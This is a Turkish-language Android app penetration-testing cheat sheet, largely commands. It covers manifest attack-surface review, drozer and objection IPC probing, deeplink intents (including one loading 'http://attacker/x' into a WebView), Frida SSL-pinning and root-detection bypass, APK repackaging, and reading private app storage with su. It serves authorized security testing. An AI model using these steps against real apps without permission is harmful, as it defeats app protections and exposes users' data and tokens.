Android Uygulama Pentest

android difficulty: orta

Android testi; Manifest’teki saldırı yüzeyi, decompile edilmiş kod ve runtime hook üçlüsüne dayanır. Root’lu laboratuvar cihazı veya emülatör + Burp CA ile trafik görünür hale getirilir.

Ön koşullar

- APK / split APK’lar, adb, JDK
- Root veya Magisk (Frida server); Burp CA kullanıcı/sistem deposu
- Araçlar: jadx, apktool, apksigner, frida, objection, drozer

İş akışı

Paketi çek / imzayı ve AndroidManifest.xml yüzeyi çıkar.
jadx ile secret, crypto, WebView, root/pinning kontrollerini tara.
Proxy + pinning bypass; API yüzeyini Burp’ta haritala.
Exported activity/service/receiver/provider ve deeplink’leri sömür.
Depolama (SharedPreferences, DB, harici depo) ve IPC yetkisini doğrula.

Paket edinme ve statik

adb devices

adb shell pm path com.hedef.app

adb pull /data/app/~~HASH==/com.hedef.app-HASH==/base.apk ./base.apk

jadx -d ./jadx_out base.apk

apktool d base.apk -o apktool_out

# Manifest’te exported / permission / cleartextTraffic
rg -n "exported|android:permission|usesCleartextTraffic|deeplink|android:scheme" apktool_out/AndroidManifest.xml

apksigner verify --print-certs base.apk

unzip -l base.apk | rg '\.(so|json|properties|pem|key)$'

Manifest saldırı yüzeyi

exported=true activity/service/receiver/provider
intent-filter → deeplink (scheme/host/path)
backup / debuggable bayrakları
networkSecurityConfig / cleartext

aapt dump badging base.apk | rg "package:|launchable|uses-permission"

Drozer / Objection ile IPC

adb forward tcp:31415 tcp:31415

drozer console connect

run app.package.attacksurface com.hedef.app

run app.activity.info -a com.hedef.app

run app.provider.info -a com.hedef.app

run app.provider.query content://com.hedef.app.provider/users

objection -g com.hedef.app explore

android hooking list activities

android intent launch_activity com.hedef.app/.ExportedActivity

android clipboard monitor

Deeplink / intent

adb shell am start -a android.intent.action.VIEW -d 'hedef://reset?token=AAAA'

adb shell am start -n com.hedef.app/.WebViewActivity --es url 'http://attacker/x'

adb shell am start -a android.intent.action.VIEW -d 'https://app.hedef.com/ Magician'

Deeplink’te açık yönlendirme, token sızıntısı veya WebView URL yükleme sık görülür; API tarafı için IDOR.

Frida & SSL pinning bypass

adb push frida-server /data/local/tmp/frida-server

adb shell chmod 755 /data/local/tmp/frida-server

adb shell /data/local/tmp/frida-server &

frida-ps -U | rg -i hedef

frida -U -f com.hedef.app -l bypass-ssl.js --no-pause

objection -g com.hedef.app explore

android sslpinning disable

android root disable

frida -U -f com.hedef.app -l frida-multiple-unpinning.js --no-pause

Pinning OkHttp / TrustManager / native katmanda olabilir; jadx’te CertificatePinner ara.

Proxy & trafik

adb reverse tcp:8080 tcp:8080

adb shell settings put global http_proxy 127.0.0.1:8080

apktool d base.apk -o patch

apktool b patch -o patched.apk

uber-apk-signer -a patched.apk

adb install -r patched-aligned-debugSigned.apk

Depolama & runtime

adb shell 'su -c "cat /data/data/com.hedef.app/shared_prefs/*.xml"'

objection: android keystore list · memory search "password"

Komut üreteci

frida · spawn + script

embedded tool

PaketScript

Generated command

frida -U -f com.hedef.app -l bypass-ssl.js --no-pause

frida · spawn + script

Hızlı bulgu hedefleri

Exported IPC → auth’suz veri / intent injection
WebView      → JavaScriptInterface, file://, açık URL
Crypto       → ECB, sabit IV/key, plaintext token
Backup/debug → allowBackup, debuggable
API          → broken authz, IDOR (bkz. /web/)

Zincir

jadx Manifest → exported provider → drozer query
  → Frida unpin → Burp’ta IDOR